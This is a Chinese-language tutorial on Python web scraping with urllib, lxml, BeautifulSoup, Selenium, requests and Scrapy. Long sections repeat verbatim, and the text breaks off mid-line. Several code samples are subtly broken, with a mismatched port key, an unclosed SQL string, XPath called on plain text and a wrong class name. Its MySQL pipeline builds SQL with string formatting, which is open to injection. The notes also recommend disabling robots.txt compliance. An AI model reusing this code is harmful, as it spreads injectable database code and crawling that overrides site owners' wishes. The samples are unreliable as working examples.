chromedriver:https://npm.taobao.org/mirrors/chromedriver(淘宝镜像地址,下载的驱动版本要和浏览器内核的版本一样) edge: https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/ (webdriver.Edge()) 火狐:https://github.com/mozilla/geckodriver/releases (webdriver.Firefox()) 安装 pip install selenium 导入驱动 from selenium import webdriver path = "浏览器驱动路径" driver = webdriver.Chrome(path) url = "https://xiaochenabc123.test.com" driver.get(url) data = driver.page_source print(data) 元素定位(模拟鼠标和键盘操作元素的点击或者输入等等,在操作元素之前需要获取到元素的位置) 注意:element是返回单个对象,elements可以返回多个对象 根据id查找元素 data = driver.find_element_by_id(“app”) 根据name属性值查找 data = driver.find_element_by_name("") 根据xpath查找 data = driver.find_elements_by_xpath() 根据标签名查找 data = driver.find_elements_by_tag_name() 使用bs4的方式查找 data = driver.find_element_by_css_selector("#app") 根据连接的文本查找 data = driver.find_element_by_link_text() 根据连接的文本查找(模糊) data = driver.find_element_by_partial_link_text() 根据class名查找 data = driver.find_element_by_class_name() 交互和数据获取 数据获取 获取属性值 print(data.get_attribute(“href”)) 获取标签名 print(data.tag_name) 获取元素文本 print(data.text) 交互 指定浏览器大小 driver.set_window_size(900, 1000) 浏览器的前进和后退,以及刷新 driver.forward() driver.back() driver.refresh() input输入框操作 data.click() #单击元素 data.send_keys(“hallo”) #输入 data.clear() #清除内容 执行指定js脚本 driver.execute_script(js) 例如: import time from selenium import webdriver path = "msedgedriver.exe" driver = webdriver.Edge(path) url = "https://www.baidu.com/" driver.get(url) data = driver.page_source datas = driver.find_element_by_id("kw") datas.send_keys("小陈的辣鸡屋") a = driver.find_element_by_id("su") a.click() time.sleep(2) #bottom = 'document.documentElement.scrollTop=10000' #driver.execute_script(bottom) b = driver.find_element_by_link_text("小陈的辣鸡屋") b.click() Phantomjs是一个无界面浏览器,因为其不需要进行gui渲染,效率比较高,但是已经停止更新,这里只了解一下,推荐使用Headless Chrome https://phantomjs.org/ phantomjs操作方式一样 driver = webdriver.PhantomJS(path) 因为没有界面,访问网页是没有界面的,需要通过快照获取,driver.save_screenshot(“xiaochenabc123.test.com.jpg”) Headless Chrome是基于Chrome 59版本以及以上版本的无界面模式(mac和Linux最低要求59版本,而win需要60版本) from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--headless') # 无界面模式启动 chrome_options.add_argument('--disable-gpu') path = "Chrome.exe" # Chrome浏览器的路径 chrome_options.binary_location = path driver = webdriver.Chrome(chrome_options=chrome_options) # 实例化 url = "https://xiaochenabc123.test.com" driver.get("url") driver.save_screenshot("xiaochenabc123.test.com.jpg") 具体操作方法和selenium一样 requests库是基于Python开发并且封装的http库,HTTP for Humans 安装 pip install requests 使用方式很简单 import requests url = "https://xiaochenabc123.test.com" response = requests.get(url) response.status_code # 200 返回状态码 print(type(response)) # 返回类型 response.encoding = "utf-8" # 响应的编码 print(response.text) # 返回源代码 print(response.url) # 返回请求的url print(response.content) # 返回二进制数据 print(response.headers) # 返回响应头 requests在请求json的时候还可以直接获取 get请求 get请求的参数通过params属性传递,不需要考虑url的编码问题,不需要考虑请求对象,例如: data = { 'wd': 'python' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } response = requests.get('https://baidu.com/s?', params=data, headers=headers) print (response.text) post请求 post请求不需要考虑编解码,不需要考虑请求对象 data = { 'url': 'xiaochenabc123.test.com', 'name': 'root' } url = "https://httpbin.org/post" response = requests.post(url=url, data=data, headers=headers) import json obj = json.loads(response.text,encoding="utf-8") print (obj) 注意:默认使用application/x-www-form-urlencoded进行编码,如果想传递json,需要使用requests.post()的json参数,上传文件用files参数 另外还支持put()和delete() 传入cookie需要cookies参数,支持设置请求超时(timeout参数,单位为秒) 代理用proxies参数,指向一个字典(代理池) scrapy是基于Python开发的爬取数据,提取数据的框架,可应用在数据挖掘,数据存储 安装 pip install scrapy scrapy架构组件分为Scrapy Engine(引擎),Scheduler(调度器),Downloader(下载器),Spider(爬虫),Item Pipeline(数据管道),Downloader middlewares(下载中间件),Spider middlewares(Spider中间件) Scrapy Engine:负责控制数据流(Data Flow)在组件中的流动,例如通信,数据传递,在某些情况下还触发相对应的事件 Scheduler:负责接收引擎发送的request请求并且将其存储在调度器中,当引擎需要时提供给引擎,调度器会自动去重url(也可以不去重) Downloader:负责下载引擎发送的全部request请求的响应数据,将获取到数据提供给Spider Spider:负责处理全部响应数据,并且进行分析提取数据,获取需要的数据,并且将需要进行额外跟进的url传递给引擎,以便重新进入调度器,一般情况一个Spider只负责一个或者多个特定的url Item Pipeline:负责处理Spider提取出来的数据,经过分析,过滤,存储等步骤,最后存储在本地或者数据库中 Downloader middlewares:其是引擎和Downloader之间的钩子,自定义扩展下载器的功能,例如更换ua,ip等等 Spider middlewares:Spider和引擎之间的钩子,用来处理Spider的输入响应和输出数据,自定义扩展Spider的功能 具体数据流线路:引擎请求一个url,并且获取到处理这个url的Spider,并且向该Spider请求要第一个爬取的url,引擎获取到要爬取的url,将其传递给调度器,引擎再向调度器请求要下一个爬取的URL,调度器返回url给引擎,引擎通过下载中间件传递给下载器,由下载器下载数据,当数据下载完毕(不管是否成功),下载器将响应数据通过下载中间件返回给引擎,引擎得到数据并且通过Spider中间件传递给Spider处理数据,Spider处理数据并且将处理完毕的数据以及需要跟进的url提供给引擎,引擎再将处理完毕的数据传递给Item Pipeline进行下一步处理,并且将需要跟进的url传递给调度器,一直重复循环直到调度器中没有request 新建项目: scrapy startproject scrapyDemo 这个项目中包含了一些文件,分别是scrapy.cfg(配置文件),scrapyDemo/(项目的Python模块,将在这里编写程序),items.py(item文件,目标文件),pipelines.py(管道文件,用来处理数据,默认为300优先级,值越小优先级越高),settings.py(项目的设置文件,例如robots协议是否遵守,定义ua等等),spiders/(spider爬虫程序存放的目录) spider爬虫程序(/spiders目录下) 创建一个爬虫必须继承scrapy.Spider类,并且定义三个参数(必须唯一,用来区别其他爬虫),start_urls(爬虫程序执行时要爬取的url),parse()在被调用时,下载完成后得到的响应将作为唯一参数传递给该方法,这个方法负责解析返回回来的数据,以及提取数据和后续要进行下一步处理的响应数据 快速创建一个基础scrapy爬虫程序 scrapy genspider cjlio xiaochenabc123.test.com import scrapy class CjlioSpider(scrapy.Spider): name = 'cjlio' allowed_domains = ['xiaochenabc123.test.com'] # 过滤爬取的URL,不在此范围内的域名会被过滤掉 start_urls = ['http://xiaochenabc123.test.com/'] def parse(self, response): content = response.text print(content) response属性:.text(返回响应的字符串),.body(返回二进制数据),.xpath()(使用xpath方法来解析,返回的数据为列表),.extract()获取seletor对象的data属性值,.extract_first()获取seletor列表的第一个的数据 还有.url(url地址),.status(状态码),.encoding(响应正文的编码),.request(生成request对象),.css()(用css选择器方式解析数据),.urljoin()(生成绝对url) 执行爬虫程序(cjlio为爬虫的name) scrapy crawl cjlio 将获取的数据存储为json文件 scrapy crawl cjlio -o cjlio.json 注意:因为scrapy默认使用ascii存储json,需要改为utf-8 在settings.py中添加FEED_EXPORT_ENCODING = ‘utf-8’解决 关闭robots协议(不遵守robots协议,注释掉或者改为False,默认遵守robots协议) ROBOTSTXT_OBEY = False scrapy shell是一个交互终端,在没有启动spider的情况下尝试以及测试程序的xpath和css表达式 scrapy shell可以借助ipython终端 pip install ipython 注意:如果安装ipython,scrapy将使用ipython代替Python标准终端,ipython提供了自动补全,高亮等等功能 调试例子(不需要进入Python环境,可以直接在终端中调试) scrapy shell xiaochenabc123.test.com response.text response.xpath() items.py定义数据结构 import scrapy class ScrapydemoItem(scrapy.Item): name = scrapy.Field() img = scrapy.Field() cjlio.py(爬虫程序) import scrapy class CjlioSpider(scrapy.Spider): name = 'cjlio' allowed_domains = ['xiaochenabc123.test.com'] start_urls = ['http://xiaochenabc123.test.com/'] def parse(self, response): content = response.text name = content.xpath("xpath匹配").extract_first() img = content.xpath("xpath匹配").extract_first() print(name, img) 管道封装 cjlio.py(爬虫程序) from scrapyDemo.items import ScrapydemoItem ... data = scrapyDemoItems(name=name,img=img) yield data # 每获取一次data数据,就是返回一次数据给管道 # yield的作用类似于生成器(generator) 注意:如果想使用管道,需要在settings.py中开启 找到 ITEM_PIPELINES = { 'scrapyDemo.pipelines.ScrapydemoPipeline': 300, } 将注释去掉,300指优先级(优先级1到1000),值越小优先级越高 pipelines.py(管道文件)中的item就是爬虫程序返回的data数据 启动爬虫之前(open_spider(self, spider)) 启动爬虫之后(close_spider(self, spider)) 开启多管道 在 ITEM_PIPELINES 字段中添加新管道(settings.py) 然后在pipelines.py定义新管道的类 查询当前项目中的爬虫任务:scrapy list 自定义UA settings.py文件中USER_AGENT字段或者DEFAULT_REQUEST_HEADERS都可以 项目中配置headers spiders爬虫程序 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } url = "https://xiaochenabc123.test.com" yield scrapy.Request( url=url, headers=headers ) 数据入库 安装pymysql pip install pymysql settings.py (pymysql) DB_HOST = “127.0.0.1” DB_RORT = 3306 DB_USER = “root” DB_PASSWORD = “123abc” DB_NAME = “dataMax” DB_CHARSET = “utf8” 开一条新管道,专门处理数据入数据库 pipeline.py from scrapy.utils.project import get_project_settings import pymysql #读取settings文件 class MysqlMax: def open_spider(self, spider): settings = get_project_settings() self.host = settings['DB_HOST'] self.port = settings['DB_PORT'] self.user = settings['DB_USER'] self.password = settings['DB_PASSWORD'] self.name = settings['DB_NAME'] self.charset = settings['DB_CHARSET'] self.connect() def connect(self): self.conn = pymysql.connect( host = self.host, port = self.port, user = self.user, password = self.password, name = self.name, charset = self.charset ) self.cursor = self.conn.cursor() def process_item(self,item,spider): sql = 'insert into book(name,src) values("{}","{}").format(item['name'],item['img']) self.cursor.execute(sql) self.conn.commit() # 执行sql语句,并且提交 return item def close_spider(self, spider): self.cursor.close() self.conn.close() 链接跟进和链接提取器 爬虫程序文件 rules = ( Rule(LinkExtractor(allow = ""), callback = "parse_item", follow = True), ) allow为正则表达式,当链接满足正则表达式提取,为空则全部匹配(链接提取器) callback为指定解析数据的规则 follow一般情况默认为False,指定是否从response提取的链接进行跟进,当callback为none时,follow为True 还有dent =(),用来过滤符合正则表达式的链接,当符合时不提取 allow_domains:允许的域名,deny_domains:不允许的域名 restrict_xpaths:提取符合xpath的链接,restrict_css:提取符合选择器的链接 注意:follow当为True会一直提取符合规则的链接,直到全部链接提取完毕 日志以及日志等级 日志等级 CRITICAL:严重错误 ERROR:一般错误 WARNING:警告 INFO:一般信息 DEBUG:调试信息(默认,只有出现DEBUG以及以上等级的日志才会打印输出) settings.py文件可以设置哪些日志显示,哪些不显示 LOG_FILE:将信息存储到文件中,不显示在输出界面,后缀为.log LOG_LEVEL:指定日志显示的等级 例如: LOG_LEVEL = “WARNING” LOG_FILE= “demo.log”
urllib,xpath,jsonpath,beautiful,requests,selenium,Scrapy python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块 urllib.request提供了最基本的http请求方法,主要带有处理授权验证,重定向,浏览器Cookies功能 模拟浏览器发送get请求,就需要使用request对象,在该对象添加http头 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.read().decode(‘utf-8’)) 使用type()方法 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(type(response)) HTTPResposne类型对象 通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders()) post发送一个请求,只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({‘hallo’:‘python’}),encoding=‘utf-8’) response = urllib.request.urlopen(‘http://httpbin.org/post'.data = data) print(response.read()) timeout参数用于设置超时时间,单位为秒 import urllib.request response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/',timeout=1) 这里设置超时时间为1秒,如果超了1秒,服务器依然没有响应就抛出URLError异常,可以结合try和except import urllib.parse import urllib.request url = "https://xiaochenabc123.test.com/" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'} data = urllib.request.Request(url=url, headers=headers) hi = hallo = urllib.request.urlopen(data) #hallo = urllib.request.urlopen(data).read().decode('utf-8') #print(hallo) # 6个方法 #abc = hi.read(6) #按字节返回 #xyz = hi.readline() # 读取一行 #a = hi.readlines() # 一行一行的读取 #b = hi.getcode() # 状态码 #c = hi.geturl() # 获取url地址 #d = hi.getheaders() # 获取状态信息 # 下载到本地 #urllib.request.urlretrieve(url,data.html) #url_img = "https://xiaochenabc123.test.com/1.jpg" #urllib.request.urlretrieve(url_img,abc.jpg) #url_mp4 = "https://xiaochenabc123.test.com/1.mp4" #urllib.request.urlretrieve(url_img,xyz.mp4) # auote() 转Unicode编码 #name = urllib.parse.quote("哈哈哈") #urlencode(),get拼接 gg = { "name": "小陈", "data": "hallo word" } haha = urllib.parse.urlencode(gg) #print(haha) # post请求 ssr = { data: "abc" } abcxyz = urllib.parse.urlencode(ssr).encode('utf‐8') nogo = urllib.request.Request(url=url, headers=headers, data=abcxyz) yesgo = urllib.request.urlopen(nogo) #print(yesgo.read().decode('utf‐8')) #ajax请求(get和post) #cookie(扩展headers) headers = { 'Cookie': 'xxxx' } #HTTPHandler() #request = urllib.request.Request(url=url, headers=headers) #handler = urllib.request.HTTPHandler() #opener = urllib.request.build_opener(handler) #response = opener.open(request) #print(response.read().decode('utf‐8')) #代理服务器 urls = "http://baidu.com" request = urllib.request.Request(url=urls, headers=headers) proxies = {'https': '14.115.106.223:808'} handler = urllib.request.ProxyHandler(proxies=proxies) opener = urllib.request.build_opener(handler) response = opener.open(request) content = response.read().decode('utf‐8') #print(content) from lxml import etree import urllib.request # 解析本地文件 #html_data = etree.parse('./hallo.html', etree.HTMLParser()) # 解析服务器响应文件 # html = etree.HTML(response.read().decode('utf‐8') #result = etree.tostring(html_data) # print(result.decode('utf-8')) # /为查找子节点,//为查找全部子孙节点(不考虑层级) # list = html_data.xpath("//ul/li") # 查找全部带id # list = html_data.xpath("//ul/li[@id]/text()") # 查找指定id # list = html_data.xpath('//ul/li[@id="a"]/text()') # 查找指定class的 # list = html_data.xpath('//ul/li[@class="a"]/text()') # 模糊查询(包含) # list = html_data.xpath('//ul/li[contains(@id, "ab")]/text()') # 查找以什么开头的 # list = html_data.xpath('//li[starts-with(@id, "a")]/text()') # 查找以什么结尾的 # list = html_data.xpath('//li[ends-with(@id, "a")]/text()') # 查找内容 # list = html_data.xpath('//a[text()="小陈的辣鸡屋"]/text()') # 多属性匹配(和) # list = html_data.xpath('//li[contains(@id, "a") and @href="https://xiaochenabc123.test.com"]/a/text()') # 或者 # list = html_data.xpath('//li[contains(@id, "a") | @href="https://xiaochenabc123.test.com"]/a/text()') # 查找指定顺序的 # list = html_data.xpath('//a[1]/text()') #获取第一个,可以指定第几个 # list = html_data.xpath('//a[last()]/text()') #获取最后一个 # list = html_data.xpath('//a[position()<6]/text()') # 获取前5个 # list = html_data.xpath('//a[last()-3]/text()') #获取倒数第4个 # print(list) #实例:获取logo和logo的url #url = "https://xiaochenabc123.test.com" #headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' #} #request = urllib.request.Request(url=url, headers=headers) #response = urllib.request.urlopen(request) #content = response.read().decode("utf-8") #hallo = etree.HTML(content) #data = hallo.xpath('//h3[@id="logo"]/a/@href')[0] #data1 = hallo.xpath('//h3[@id="logo"]/a/text()')[0] #print(data,data1) #获取文章的标题 #headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' #} # #if __name__ == "__main__": # page1 = int(input("开始")) # page2 = int(input("结束")) # # for page in range(page1, page2 + 1): # urldata = "https://xiaochenabc123.test.com/archives/" + str(page) + ".html" # #print(urldata) # request = urllib.request.Request(url=urldata, headers=headers) # response = urllib.request.urlopen(request) # if (response.getcode() == 200): # content = response.read().decode("utf-8") # hallo = etree.HTML(content) # data = hallo.xpath('//h3[@class="post-title"]/a/text()')[0] # print(data) # elif(response.getcode() == 404): # continue #爬取网站的全部a链接,并且返回到数组中 #if __name__ == "__main__": # url = input("请输入要爬取的url") # abc = int(input("是否启动只搜索当前域名的url,请回复0或者1")) # headers = { # 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' # } # request = urllib.request.Request(url=url, headers=headers) # response = urllib.request.urlopen(request) # content = response.read().decode("utf-8") # hallo = etree.HTML(content) # data = hallo.xpath('//a/@href') # a = 1 # b = 1 # c = "https" # d = "http" # if (abc == 1): # while a < len(data): # if (c or d in data[a]): # if (url in data[a]): # urldata = data[a] # print(urldata) # a += 1 # else: # while b < len(data): # if (c or d in data[a]): # urldata = data[b] # print(urldata) # b += 1 练习(json解析bing官方提供的api,获取精密壁纸) import jsonpath import json import urllib.request # pip install jsonpath headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } abc = 0 while abc == 0 : a = int(input("请输入要下载的张数(bing最多只能下载8张)")) aa = str(a) if(a<=8): urlapi = "https://cn.bing.com/HPImageArchive.aspx?format=js&idx=0&n="+aa+"&mkt=zh-CN" request = urllib.request.Request(url=urlapi, headers=headers) resp = urllib.request.urlopen(request) content = resp.read().decode("utf-8") with open("data.json", "w", encoding="utf-8") as fp: fp.write(content) obj = json.load(open("data.json", "r", encoding="utf-8")) hallo = jsonpath.jsonpath(obj, "$..url") img = jsonpath.jsonpath(obj, "$..enddate") c = 0 b = 0 while c < len(hallo): hi = "https://cn.bing.com" data = hi + hallo[c] print(data) c+=1 while b < len(img): haha = img[b] + ".jpg" print(haha) urllib.request.urlretrieve(data, filename=haha) b+=1 break print("下载完成!!!") abc = 1 else: print("您输入的张数超过8张,bing官方api只能下载8张,请重新输入") Beautiful Soup解析库,和lxml一样,可以从html或者xml中解析数据和提取数据,Beautiful Soup会自动将输入数据转换为unicode编码,输出数据转换为utf-8编码。不需要考虑编码问题。除非文档没有说明编码 目前使用的是Beautiful Soup 4,简称bs4,Beautiful Soup3已停止维护 安装 pip install beautifulsoup4 注意:Beautiful Soup支持第三方解析器,如果不使用第三方解析器的话,将使用Python标准库中的html解析器 BeautifulSoup(html, html.parser) # 内置标准库 BeautifulSoup(html, lxml) # lxml库,需要下载lxml库 BeautifulSoup(html, xml) # lxml的xml解析,需要下载lxml库 BeautifulSoup(html, html5lib) # html5lib,需要下载html5lib库 pip install html5lib 第一个例子 from bs4 import BeautifulSoup # data = BeautifulSoup(open("haha.html"),encoding="utf-8", "lxml") data = BeautifulSoup(open("haha.html")) print(data.prettify()) bs会将html文档解析为树状结构,该树状结构的节点是Python对象,而这些对象可以分为4种: Tag:标签,通过tag获取指定标签内容,print(data.div),可以通过data.标签名的方式获取标签的内容(注意:输出第一个符合条件的标签) 检查对象的类型:print (type(data.div)),可以看到输出结果为,说明该对象为tag tag有两个属性,分别为name和attrs print (data.name) print (data.div.name) 可以看到输出结果为[document]和div,data的name为[document],而标签输出为标签本身的名字 print (data.div.attrs) 可以看到输出结果是{‘class’: [‘xxx’]}的键值对,可以通过data.div[“xxx”]方式获取属性值,也可以修改属性值(data.div[“class”]= “nav”),删除属性(del data.div[“class”]) NavigableString:标签内部的文本(.string),print (data.p.string),判断类型,print (type(data.p.string)),输出结果为 BeautifulSoup:文档的全部内容,也就是data本身,print (type(data)), Comment:特殊一点的NavigableString类型,可以输出注释的内容(不带注释符号),通过类型判断print (type(data.span.string)),可以看到输出 查找 print(data.div.content) # 查找div的全部子节点,并且以列表的方式输出,可以使用索引来指定获取第几个节点 print(data.div.children) #一样是查找div的全部子节点,不过是list生成器,需要手动遍历获取 print(data.select("span")) #查找标签,也可以通过类名或者id名查找,支持组合查找(和css方式一样) print(data.find("div")) print(data.find("div",class_="nav")) selenium是一个web应用自动化测试工具,selenium可以直接运行在目前主流浏览器驱动(本身没有浏览器功能,需要搭配第三方浏览器,支持无界面浏览器),模拟用户操作 因为其自动化和可以直接运行在浏览器的原因,可以用于爬虫 chromedriver:https://npm.taobao.org/mirrors/chromedriver(淘宝镜像地址,下载的驱动版本要和浏览器内核的版本一样) edge: https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/ (webdriver.Edge()) 火狐:https://github.com/mozilla/geckodriver/releases (webdriver.Firefox()) 安装 pip install selenium 导入驱动 from selenium import webdriver path = "浏览器驱动路径" driver = webdriver.Chrome(path) url = "https://xiaochenabc123.test.com" driver.get(url) data = driver.page_source print(data) 元素定位(模拟鼠标和键盘操作元素的点击或者输入等等,在操作元素之前需要获取到元素的位置) 注意:element是返回单个对象,elements可以返回多个对象 根据id查找元素 data = driver.find_element_by_id(“app”) 根据name属性值查找 data = driver.find_element_by_name("") 根据xpath查找 data = driver.find_elements_by_xpath() 根据标签名查找 data = driver.find_elements_by_tag_name() 使用bs4的方式查找 data = driver.find_element_by_css_selector("#app") 根据连接的文本查找 data = driver.find_element_by_link_text() 根据连接的文本查找(模糊) data = driver.find_element_by_partial_link_text() 根据class名查找 data = driver.find_element_by_class_name() 交互和数据获取 数据获取 获取属性值 print(data.get_attribute(“href”)) 获取标签名 print(data.tag_name) 获取元素文本 print(data.text) 交互 指定浏览器大小 driver.set_window_size(900, 1000) 浏览器的前进和后退,以及刷新 driver.forward() driver.back() driver.refresh() input输入框操作 data.click() #单击元素 data.send_keys(“hallo”) #输入 data.clear() #清除内容 执行指定js脚本 driver.execute_script(js) 例如: import time from selenium import webdriver path = "msedgedriver.exe" driver = webdriver.Edge(path) url = "https://www.baidu.com/" driver.get(url) data = driver.page_source datas = driver.find_element_by_id("kw") datas.send_keys("小陈的辣鸡屋") a = driver.find_element_by_id("su") a.click() time.sleep(2) #bottom = 'document.documentElement.scrollTop=10000' #driver.execute_script(bottom) b = driver.find_element_by_link_text("小陈的辣鸡屋") b.click() Phantomjs是一个无界面浏览器,因为其不需要进行gui渲染,效率比较高,但是已经停止更新,这里只了解一下,推荐使用Headless Chrome https://phantomjs.org/ phantomjs操作方式一样 driver = webdriver.PhantomJS(path) 因为没有界面,访问网页是没有界面的,需要通过快照获取,driver.save_screenshot(“xiaochenabc123.test.com.jpg”) Headless Chrome是基于Chrome 59版本以及以上版本的无界面模式(mac和Linux最低要求59版本,而win需要60版本) from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_argument('--headless') # 无界面模式启动 chrome_options.add_argument('--disable-gpu') path = "Chrome.exe" # Chrome浏览器的路径 chrome_options.binary_location = path driver = webdriver.Chrome(chrome_options=chrome_options) # 实例化 url = "https://xiaochenabc123.test.com" driver.get("url") driver.save_screenshot("xiaochenabc123.test.com.jpg") 具体操作方法和selenium一样 requests库是基于Python开发并且封装的http库,HTTP for Humans 安装 pip install requests 使用方式很简单 import requests url = "https://xiaochenabc123.test.com" response = requests.get(url) response.status_code # 200 返回状态码 print(type(response)) # 返回类型 response.encoding = "utf-8" # 响应的编码 print(response.text) # 返回源代码 print(response.url) # 返回请求的url print(response.content) # 返回二进制数据 print(response.headers) # 返回响应头 requests在请求json的时候还可以直接获取 get请求 get请求的参数通过params属性传递,不需要考虑url的编码问题,不需要考虑请求对象,例如: data = { 'wd': 'python' } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62' } response = requests.get('https://baidu.com/s?', params=data, headers=headers) print (response.text) post请求 post请求不需要考虑编解码,不需要考虑请求对象 data = { 'url': 'xiaochenabc123.test.com', 'name': 'root' } url = "https://httpbin.org/post" response = requests.post(url=url, data=data, headers=headers) import json obj = json.loads(response.text,encoding="utf-8") print (obj) 注意:默认使用application/x-www-form-urlencoded进行编码,如果想传递json,需要使用requests.post()的json参数,上传文件用files参数 另外还支持put()和delete() 传入cookie需要cookies参数,支持设置请求超时(timeout参数,单位为秒) 代理用proxies参数,指向一个字典(代理池) scrapy是基于Python开发的爬取数据,提取数据的框架,可应用在数据挖掘,数据存储 安装 pip install scrapy scrapy架构组件分为Scrapy Engine(引擎),Scheduler(调度器),Downloader(下载器),Spider(爬虫),Item Pipeline(数据管道),Downloader middlewares(下载中间件),Spider middlewares(Spider中间件) Scrapy Engine:负责控制数据流(Data Flow)在组件中的流动,例如通信,数据传递,在某些情况下还触发相对应的事件 Scheduler:负责接收引擎发送的request请求并且将其存储在调度器中,当引擎需要时提供给引擎,调度器会自动去重url(也可以不去重) Downloader:负责下载引擎发送的全部request请求的响应数据,将获取到数据提供给Spider Spider:负责处理全部响应数据,并且进行分析提取数据,获取需要的数据,并且将需要进行额外跟进的url传递给引擎,以便重新进入调度器,一般情况一个Spider只负责一个或者多个特定的url Item Pipeline:负责处理Spider提取出来的数据,经过分析,过滤,存储等步骤,最后存储在本地或者数据库中 Downloader middlewares:其是引擎和Downloader之间的钩子,自定义扩展下载器的功能,例如更换ua,ip等等 Spider middlewares:Spider和引擎之间的钩子,用来处理Spider的输入响应和输出数据,自定义扩展Spider的功能 具体数据流线路:引擎请求一个url,并且获取到处理这个url的Spider,并且向该Spider请求要第一个爬取的url,引擎获取到要爬取的url,将其传递给调度器,引擎再向调度器请求要下一个爬取的URL,调度器返回url给引擎,引擎通过下载中间件传递给下载器,由下载器下载数据,当数据下载完毕(不管是否成功),下载器将响应数据通过下载中间件返回给引擎,引擎得到数据并且通过Spider中间件传递给Spider处理数据,Spider处理数据并且将处理完毕的数据以及需要跟进的url提供给引擎,引擎再将处理完毕的数据传递给Item Pipeline进行下一步处理,并且将需要跟进的url传递给调度器,一直重复循环直到调度器中没有request 新建项目: scrapy startproject scrapyDemo 这个项目中包含了一些文件,分别是scrapy.cfg(配置文件),scrapyDemo/(项目的Python模块,将在这里编写程序),items.py(item文件,目标文件),pipelines.py(管道文件,用来处理数据,默认为300优先级,值越小优先级越高),settings.py(项目的设置文件,例如robots协议是否遵守,定义ua等等),spiders/(spider爬虫程序存放的目录) spider爬虫程序(/spiders目录下) 创建一个爬虫必须继承scrapy.Spider类,并且定义三个参数(必须唯一,用来区别其他爬虫),start_urls(爬虫程序执行时要爬取的url),parse()在被调用时,下载完成后得到的响应将作为唯一参数传递给该方法,这个方法负责解析返回回来的数据,以及提取数据和后续要进行下一步处理的响应数据 快速创建一个基础scrapy爬虫程序 scrapy genspider cjlio xiaochenabc123.test.com import scrapy class CjlioSpider(scrapy.Spider): name = 'cjlio' allowed_domains = ['xiaochenabc123.test.com'] # 过滤爬取的URL,不在此范围内的域名会被过滤掉 start_urls = ['http://xiaochenabc123.test.com/'] def parse(self, response): content = response.text print(content) response属性:.text(返回响应的字符串),.body(返回二进制数据),.xpath()(使用xpath方法来解析,返回的数据为列表),.extract()获取seletor对象的data属性值,.extract_first()获取seletor列表的第一个的数据 还有.url(url地址),.status(状态码),.encoding(响应正文的编码),.request(生成request对象),.css()(用css选择器方式解析数据),.urljoin()(生成绝对url) 执行爬虫程序(cjlio为爬虫的name) scrapy crawl cjlio 将获取的数据存储为json文件 scrapy crawl cjlio -o cjlio.json 注意:因为scrapy默认使用ascii存储json,需要改为utf-8 在settings.py中添加FEED_EXPORT_ENCODING = ‘utf-8’解决 关闭robots协议(不遵守robots协议,注释掉或者改为False,默认遵守robots协议) ROBOTSTXT_OBEY = False scrapy shell是一个交互终端,在没有启动spider的情况下尝试以及测试程序的xpath和css表达式 scrapy shell可以借助ipython终端 pip install ipython 注意:如果安装ipython,scrapy将使用ipython代替Python标准终端,ipython提供了自动补全,高亮等等功能 调试例子(不需要进入Python环境,可以直接在终端中调试) scrapy shell xiaochenabc123.test.com response.text response.xpath() items.py定义数据结构 import scrapy class ScrapydemoItem(scrapy.Item): name = scrapy.Field() img = scrapy.Field() cjlio.py(爬虫程序) import scrapy class CjlioSpider(scrapy.Spider): name = 'cjlio' allowed_domains = ['xiaochenabc123.test.com'] start_urls = ['http://xiaochenabc123.test.com/'] def parse(self, response): content = response.text name = content.xpath("xpath匹配").extract_first() img = content.xpath("xpath匹配").extract_first() print(name, img) 管道封装 cjlio.py(爬虫程序) from scrapyDemo.items import ScrapydemoItem ... data = scrapyDemoItems(name=name,img=img) yield data # 每获取一次data数据,就是返回一次数据给管道 # yield的作用类似于生成器(generator) 注意:如果想使用管道,需要在settings.py中开启 找到 ITEM_PIPELINES = { 'scrapyDemo.pipelines.ScrapydemoPipeline': 300, } 将注释去掉,300指优先级(优先级1到1000),值越小优先级越高 pipelines.py(管道文件)中的item就是爬虫程序返回的data数据 启动爬虫之前(open_spider(self, spider)) 启动爬虫之后(close_spider(self, spider)) 开启多管道 在 ITEM_PIPELINES 字段中添加新管道(settings.py) 然后在pipelines.py定义新管道的类 查询当前项目中的爬虫任务:scrapy list 自定义UA settings.py文件中USER_AGENT字段或者DEFAULT_REQUEST_HEADERS都可以 项目中配置headers spiders爬虫程序 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) 